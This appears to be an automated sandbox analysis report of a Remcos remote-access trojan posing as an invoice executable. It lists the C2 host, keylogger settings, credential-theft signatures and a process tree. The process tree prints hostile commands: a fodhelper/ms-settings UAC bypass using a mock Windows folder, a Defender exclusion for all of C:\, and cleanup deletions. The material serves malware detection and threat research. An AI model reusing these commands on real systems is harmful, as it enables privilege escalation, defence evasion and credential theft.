Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/07/2024, 19:15

General

  • Target
    INV-012056.exe
  • Size 1.6MB
  • Sample240716-xx766ayfpg
  • SHA256 9be23cec2c892e93c64b478ec1fc7b078ddf5217c99b6d03069a425eb14d62ee
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:52121

  • officerem.duckdns.org:52121

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UNX1LL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\INV-012056.exe
    "C:\Users\Admin\AppData\Local\Temp\INV-012056.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\Users\Public\Libraries\qvzwuszV.pif
      C:\Users\Public\Libraries\qvzwuszV.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B43C.tmp\B43D.tmp\B43E.bat C:\Users\Public\Libraries\qvzwuszV.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:1572
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:2968
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:876
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1916
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:5012
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2176
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:3960
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:5112
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:448
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4720
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:3100
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:944
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:1556
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:2516
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4344
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2060
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4316
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • Runs ping.exe
                    PID:1996
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:1528
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:4556
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:3948
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:2172
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:4588
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:2156
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3924
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\INV-012056.exe C:\\Users\\Public\\Libraries\\Vzsuwzvq.PIF
              2⤵
                PID:5076
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\System32\colorcpl.exe
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                PID:3268
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xdkgupfzqgiael"
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5012
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\axxzvhqbeoamgricx"
                  3⤵
                  • Accesses Microsoft Outlook accounts
                  PID:2220
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\kzcswaivswsrqxwgguhcl"
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4236
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:3308

              Network

                    MITRE ATT&CK Enterprise v15

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                    Downloads

                    logs.dat

                    • Path C:\ProgramData\remcos\logs.dat
                    • Size 146B
                    • SHA256 b149e3b65dd8a0086c0b5d9805ddb192400e3a4806ec13a327a6b44a2c55ab57
                    • MD5 SHA1 SHA512

                    B43E.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\B43C.tmp\B43D.tmp\B43E.bat
                    • Size 1KB
                    • SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_3nxcfp13.ysy.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3nxcfp13.ysy.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    xdkgupfzqgiael

                    • Path C:\Users\Admin\AppData\Local\Temp\xdkgupfzqgiael
                    • Size 4KB
                    • SHA256 fcb197376fc607f9493ea0460ecac86ca5ae8973120894c6f8353b67e28995d9
                    • MD5 SHA1 SHA512 SSDEEP

                    qvzwuszV.pif

                    • Path C:\Users\Public\Libraries\qvzwuszV.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 283KB
                    • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 75KB
                    • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 442KB
                    • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                    • MD5 SHA1 SHA512 SSDEEP

                    per.exe

                    • Path C:\Windows \System32\per.exe
                    • Size 48KB
                    • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1144-10-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1144-11-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/1144-9-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1144-5-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1144-72-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/1144-70-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1332-0-0x00000000007B0000-0x00000000007B1000-memory.dmp

                    memory/1332-1-0x0000000000400000-0x00000000005A4000-memory.dmp

                    memory/2220-101-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2220-97-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2220-99-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/3100-45-0x00000228F1760000-0x00000228F1782000-memory.dmp

                    memory/3268-113-0x0000000016A90000-0x0000000016AA9000-memory.dmp

                    memory/3268-114-0x0000000016A90000-0x0000000016AA9000-memory.dmp

                    memory/3268-89-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-90-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-91-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-92-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-94-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-146-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-86-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-145-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-130-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-129-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-122-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-84-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-121-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-78-0x0000000004A10000-0x0000000005A10000-memory.dmp

                    memory/3268-83-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-110-0x0000000016A90000-0x0000000016AA9000-memory.dmp

                    memory/3268-82-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-88-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-115-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/3268-79-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4236-106-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/4236-107-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/4236-102-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/5012-98-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/5012-100-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/5012-96-0x0000000000400000-0x0000000000478000-memory.dmp